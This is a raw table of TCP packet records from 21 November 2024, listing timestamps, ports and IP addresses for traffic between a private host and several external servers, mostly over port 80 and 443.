Nov 21, 2024 19:58:57.960227013 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.960274935 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.960625887 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.960643053 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.960650921 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.960685015 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.982069016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:57.982126951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:57.989373922 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:58.108882904 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:58.108958006 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:58.109200954 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:58.165213108 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.165401936 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.165458918 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.166409969 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.166429996 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.228620052 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:58.355504990 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.356470108 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.356481075 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.357498884 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.357552052 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.357980013 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.358042955 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.358160973 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.358167887 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.358225107 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.358247042 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.412538052 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.799376011 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.799642086 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.799657106 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.800549984 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.800616026 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.800905943 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.800961018 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.801115990 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.801115990 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.801132917 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.801161051 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.803862095 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.803932905 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.803981066 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.804485083 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:58.804505110 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:58.897119045 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:59.258137941 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:59.258223057 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:59.260175943 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:59.260201931 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:59.260278940 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:59.260502100 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:59.508631945 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.508687019 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.508721113 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.508764982 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.510035992 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.510042906 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.510049105 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.510173082 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.510364056 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.510416985 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.510426998 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.510618925 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.511959076 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.512018919 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.512054920 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.512152910 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.628416061 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.628467083 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.630826950 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.632523060 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.633054972 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.634224892 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.634267092 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.634351015 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.711833954 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.711966038 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.712018013 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.712143898 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.716002941 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.716018915 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.716274023 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:59.716289997 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.716455936 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:59.716521025 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:59.724431992 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.724526882 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.724575996 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.724692106 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.732736111 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.732914925 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.732948065 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.733181953 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.740369081 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.740447044 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.740475893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.740737915 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.748706102 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.748908997 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.749238014 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.749356985 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.754864931 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:59.754936934 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:59.755225897 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:59.759917021 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.760130882 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.760231018 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.760302067 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.766202927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.766344070 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.766377926 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.766489029 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.774147987 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.774163008 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.774343014 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.781708956 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.781872988 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.782208920 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.789674997 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.789896011 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.881604910 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.881666899 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.881673098 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.881992102 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.885567904 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.885613918 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.912223101 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.912305117 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.912368059 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.912410021 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.913718939 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.913800955 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.913830042 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.913844109 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.918816090 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.918829918 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.918878078 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.923959017 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.923985958 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.924011946 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.924026012 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.928874969 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.928934097 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.928975105 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.929019928 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.934076071 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.934137106 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.934145927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.934181929 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.939023018 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.939093113 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.939219952 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.939271927 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.944032907 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.944134951 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.944330931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.944375992 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.949084997 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.949162960 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.949177980 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.949331045 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.954171896 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.954219103 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.954230070 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.954273939 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.959148884 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.959198952 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.959228039 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.959244967 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.964298010 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.964373112 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.964473009 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.964523077 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.969244957 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.969309092 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.969351053 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.969392061 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.974337101 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.974400043 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.974427938 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.974565029 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.979379892 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.979432106 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.979500055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.979549885 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.984535933 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.984608889 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.984649897 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.984781027 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.989455938 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.989507914 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.989532948 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.989573002 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.994514942 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.994570017 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.994580984 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.994622946 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.999587059 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.999651909 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:58:59.999685049 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:58:59.999720097 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.004741907 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.004774094 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.004817009 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.009674072 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.009726048 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.287941933 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.287957907 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.288006067 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.288034916 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.288048029 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.288058996 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.288099051 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407502890 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407515049 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407529116 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407541990 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407553911 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407562017 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407566071 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407577991 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407593966 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407623053 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407633066 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407634974 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407645941 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407666922 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407675982 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407676935 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407691002 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407695055 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407706022 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407720089 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407726049 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407757998 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407763004 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407771111 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407782078 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407784939 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407794952 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407808065 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407821894 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407840014 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407841921 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407850027 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407855988 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407861948 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407861948 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407866001 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407879114 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407891035 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407906055 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407910109 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407918930 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407924891 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407929897 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407937050 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407938957 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407943964 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407948971 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407951117 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407953978 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407962084 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407963991 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407968998 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407970905 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407973051 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407979012 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.407980919 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407991886 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.407996893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408004999 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408016920 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408029079 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408032894 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408041954 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408054113 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408056021 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408066034 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408075094 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408077955 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408090115 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408099890 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408107996 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408126116 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408126116 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408140898 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408142090 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408152103 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408164978 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408176899 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408195019 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408195972 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408207893 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408209085 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408220053 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408231020 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408241034 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408242941 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408253908 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408255100 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408266068 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408282042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408283949 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408293009 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408308983 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408334970 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408334970 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408343077 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408354998 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408390999 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408427954 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408474922 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408483982 CET	443	49787	172.64.41.3	192.168.2.8
Nov 21, 2024 19:59:00.408504963 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408516884 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408529043 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408540964 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408555984 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408577919 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408587933 CET	443	49787	172.64.41.3	192.168.2.8
Nov 21, 2024 19:59:00.408608913 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408621073 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408636093 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.408643961 CET	49787	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:59:00.408669949 CET	443	49788	172.64.41.3	192.168.2.8
Nov 21, 2024 19:59:00.408674955 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408694029 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.408755064 CET	443	49788	172.64.41.3	192.168.2.8
Nov 21, 2024 19:59:00.408968925 CET	49788	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:59:00.485903978 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.486001968 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.529581070 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.529644966 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.530056953 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.530137062 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.530359030 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.530402899 CET	49831	80	192.168.2.8	185.215.113.16
